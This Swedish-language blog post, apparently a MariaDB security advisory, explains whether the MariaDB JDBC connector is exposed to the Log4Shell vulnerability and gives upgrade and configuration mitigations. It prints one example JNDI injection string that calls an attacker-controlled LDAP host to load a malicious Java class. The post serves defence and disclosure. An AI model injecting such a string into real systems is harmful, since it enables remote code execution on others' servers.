Är MariaDB Java-anslutningen påverkad av säkerhetssårbarheten som nyligen upptäckts i Log4? Som standard använder inte Java-anslutningen Log4j. Men om du har konfigurerat den för att använda SLF4j, fortsätt läsa.
Läs Log4Shell och MariaDB för information utanför ramen för MariaDB JDBC-drivrutinen.
Obs :Den här bloggen uppdaterades 2021-12-15 för att inkludera detaljer om CVE-2021-45046.
Log4j-sårbarheten
Apache Log4j är ett populärt loggningsramverk med öppen källkod för Java-applikationer. Den används i en mängd olika projekt med öppen källkod och företag, inklusive molnleverantörer och e-postleverantörer. Den 9 december 2021 hittades en 0-dagars sårbarhet i Log4j som kan resultera i fjärrkörning av kod, vilket gör att en hackare kan exekvera godtycklig kod i ett system. Sårbarheten är känd som "Log4Shell" och spåras som CVE-2021-44228.
Kort sagt tillåter sårbarheten en angripare att injicera en JNDI-uppslagssträng som anropar till exempel en fjärransluten LDAP-server (kontrollerad av angriparen) som i sin tur returnerar en skadlig Java-klass:
${jndi:ldap://[attacker_site]/[malicious_java_class]}
Om en sträng som denna loggas av Log4j, kan en skadlig Java-klass köra godtycklig kod (via ett statiskt kodblock, till exempel).
Versioner som påverkas
Som tur är är det bara Log4j version 2.x före 2.15.0 som påverkas. Se Apache Log4j säkerhetssårbarheter sida för mer information. Sårbarheten finns inte i Log4j version 1.x.
Hur man minskar CVE-2021-44228
Den bästa strategin för att mildra sårbarheten är att uppdatera Log4j-beroendet i dina projekt. Version 2.16.0, som tar bort meddelandeuppslagningar, är redan tillgänglig. Rekvisita till teamet för att snabbt släppa detta.
Uppdatera :Log4j 2.16.0 fixar också den andra sårbarheten som spåras som CVE-2021-45046.
MariaDB JDBC-drivrutinen använder inte Log4j 2.x. Den stöder dock SLF4J. Kontrollera om du använder Log4j-bindaren för SLF4J eller inte, och om så är fallet, uppgradera Log4j därefter eller ställ in följande konfigurationsvariabel:
-Dlog4j2.formatMsgNoLookups=true
Eller ställ in följande miljövariabel:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Obs :Loggning är endast aktiverad när den uttryckligen anges av log
parameter. Förutom Log4j kan du också välja andra SLF4J-bindningar som Jakarta Commons Logging, Logback eller Java Logging API.
Om du använder Maven kan du köra följande kommando för att ta reda på om ditt projekt är beroende av Log4j:
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
Här är ett exempel på vilken typ av resultat du får i ett sårbart projekt:
Om ditt projekt av någon anledning inte kompilerar kan du alternativt köra:
mvn help:effective-pom
Sök efter log4j-core
beroende och kontrollera vilken version som används.
Ytterligare information
Lista över länkar i bloggen:
- MariaDB Java-anslutning
- SLF4j
- Relaterad blogg Log4Shell och MariaDB
- CVE-2021-44228
- Apache Log4j säkerhetssårbarheter
- Apache Log4j version 2.16.0
-
log
parameter